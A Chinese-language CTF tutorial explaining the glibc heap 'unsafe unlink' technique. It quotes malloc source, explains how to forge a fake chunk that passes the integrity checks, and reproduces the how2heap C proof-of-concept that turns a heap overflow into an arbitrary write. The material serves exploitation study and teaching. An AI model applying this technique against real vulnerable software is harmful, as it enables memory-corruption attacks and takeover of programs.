利用条件
-
存在两个相邻堆块
- 能控制前一堆块数据部分
- 能控制后一堆块header部分
- 有可写指针指向前一堆块数据段地址,能获取该指针地址
利用原理
堆块 free 时,如果相邻前一堆块处于空闲状态,会尝试进行后向合并的操作,将两堆块合并成一个堆块。其中由于空闲堆块原本在双向链表中管理,因此会触发 unlink 对其进行脱链,即从双向链表中取出。
关于 unlink 的详细介绍,可以参考CTF Wiki上的Unlink文章,本文只介绍free时后向合并的unlink利用。
以下是 _int_free 函数后向合并的部分源码:
/* consolidate backward */
if (!prev_inuse(p)) { // 需要当前释放堆块的prev_inuse段为0,也就是指示前一堆块为空闲状态
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
可以看出,free当前堆块时,如果堆块的prev_inuse为0,表明前一堆块处于空闲状态,就会尝试进行后向合并操作。
然后会触发 unlink 操作将前一堆块从链表中取出,以下时 unlink_chunk 函数的源码:
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
// size检测
// 空闲堆块的大小(size段)等于后一堆块记录的大小(prev_size段)
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
// 双向链表完整性检测
// 链表中前一堆块的后一堆块和后一堆块的前一堆块等于当前堆块
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
// 如果大小不属于smallbin的范围并且fd_nextsize段不为NULL,需要进行largebin的检测
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
// largebin的nextsize双向链表完整性检测
// 一般只需要把fd_nextsize段置0就不需要过这个检测
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
总结一下,要触发 unlink ,需要满足以下检测的条件:
- size检测:
chunksize (p) == prev_size (next_chunk (p))
- 双向链表完整性检测:
fd->bk == p && bk->fd == p
- largebin检测:
in_smallbin_range (chunksize_nomask (p)) || p->fd_nextsize == NULL
然后就能完成脱链操作,也是实现任意地址写的关键:
fd->bk = bk;
bk->fd = fd;
假设存在两个相邻堆块 chunk0 和 chunk1;chunk0_ptr 是指向 chunk0_data 部分的一个可写指针,其地址已知。我们可以控制chunk0 的 data 和 chunk1 的 header 部分。根据以上原理,我们进行如下构造:
此处以64位为例说明,与32位区别在于各段偏移大小
对于 chunk0_ptr ,有:
chunk0_ptr = p // p为chunk0_data的地址,也就是伪造的fake_chunk0地址
// chunk0_ptr的地址为0x0602280
// 即&chunk_ptr = 0x0602280
在该堆块内伪造一个堆块,使得:
fake_chunk0->prev_size = 0
fake_chunk0->size = chunk0_malloc_size // chunk0 申请的大小
// 双向链表完整性检测
fake_chunk0->fd = &chunk0_ptr - 0x18 // = 0x0602280 - 0x18 = 0x0602268
fake_chunk0->bk = &chunk0_ptr - 0x10 // = 0x0602268 - 0x10 = 0x0602270
// fd = p->fd = fake_chunk0->fd = 0x0602268
// bk = p->bk = fake_chunk0->bk = 0x0602270
// fd->bk = *(0x0602268 + 0x18) = *(0x0602280) = chunk0_ptr = p
// bk->fd = *(0x0602270 + 0x10) = *(0x0602280) = chunk0_ptr = p
对于 largebin 大小的堆块,还需要:
fake_chunk0->fd_nextsize = 0 // p->fd_nextsize = NULL
然后覆盖下一个堆块的 header 部分,使得:
chunk1->prev_size = fake_chunk->size // size检测
chunk1->size &= ~1 // prev_inuse置0
实现unlink:
fd->bk = bk // fd->bk => *(0x0602268 + 0x18) => *(0x0602280) => chunk_ptr = 0x0602280 - 0x10
bk->fd = fd // bk->fd => *(0x0602270 + 0x10) => *(0x0602280) => chunk_ptr = 0x0602280 - 0x18
最终实现效果:
chunk_ptr = &chunk_ptr - 0x18
将可写指针指向本身低0x18字节位置,于是可以控制可写指针写入任意地址。
实例
how2heap unsafe_unlink
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
相关练习
- 2014 HITCON stkof
参考
[1] Unlink - CTF Wiki, https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/
[2] unlink - 星盟安全Pwn公开课, https://www.bilibili.com/video/BV1Uv411j7fr?p=20&spm_id_from=pageDriver&vd_source=cd6c2579222a1d3d359211fb8bf436d3
[3] HITCON 2014 pwn - stkof 做题笔记, https://blog.csdn.net/qq_33976344/article/details/119929139